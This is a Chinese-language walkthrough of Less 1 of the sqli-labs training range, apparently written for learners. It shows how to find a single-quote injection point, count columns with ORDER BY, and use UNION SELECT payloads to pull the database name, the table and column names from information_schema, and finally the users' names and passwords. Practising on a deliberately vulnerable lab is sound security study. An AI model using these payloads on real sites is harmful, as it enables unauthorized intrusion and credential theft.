文章目錄
- sqli-labs靶場
- less 1 聯合注入
sqli-labs靶場
每道題都從以下模板講解,并且每個步驟都有圖片,清晰明了,便于復盤。
sql注入的基本步驟
- 注入點
- 注入類型
- 字符型:判斷閉合方式 (‘、"、’'、“”)
- 數字型
- 根據實際情況,選擇合適的注入方式
- 獲取數據庫名,表名,列名,數據
less 1 聯合注入
- 題目類型: 字符型 '(單引號) 閉合
- 先判斷注入類型
id=1
回顯正常
id=1/0
回顯內容和 id=1 一樣,說明1/0沒報錯,不是數字型注入,那就是字符型 (或者用id=1與id=2-1 / id=2/2)
- 判斷閉合方式
已知是字符型注入
id=1’
sql語法報錯,說明大概率是單引號閉合
id=1’ ’
回顯正常
id=1’ ’ ’
sql語法報錯
id=1’ ’ ’ ’
4個單引號,回顯正常,呈規律性變化,說明閉合方式是單引號
- 數據有回顯,可利用聯合注入,需判斷字段數,回顯位
id=1’ order by 4 --+
報錯:表中沒有列名為‘4’的字段 (說明不存在第4列)
為什么使用order by判斷字段數? 因為order by的作用是對某一列排序,如果報錯,說明不存在此列
例如(id,username,password)
order by username 等同于 order by 2 (表示對第二列字段名為username排序 )
id=1’ order by 3 --+
回顯正常,說明該表的字段數為3列 (因為第4列不存在,所以該表的字段數為3)
- 使用聯合注入,需判斷回顯位
id=1’ union select 1,2,3–+
為什么沒有回顯1,2,3?
id=-1’ union select 1,2,3–+
聯合注入后,返回的結果有多行,但是該頁面只回顯第一行,所以id = -1 讓第一行數據不存在,變向把原本處于第二行的數據移動到第一行 (或者 id=’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+ )
并且可以看到回顯位是第2,3列
id=’ union select 1,database(),user()–+
猜解數據庫名
- 初始化安裝mysql數據庫后, 會默認創建4個系統數據庫:
id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“security” --+
通過系統數據庫information_schema猜解表名
id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” --+
猜解字段名
id=-1’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
爆出數據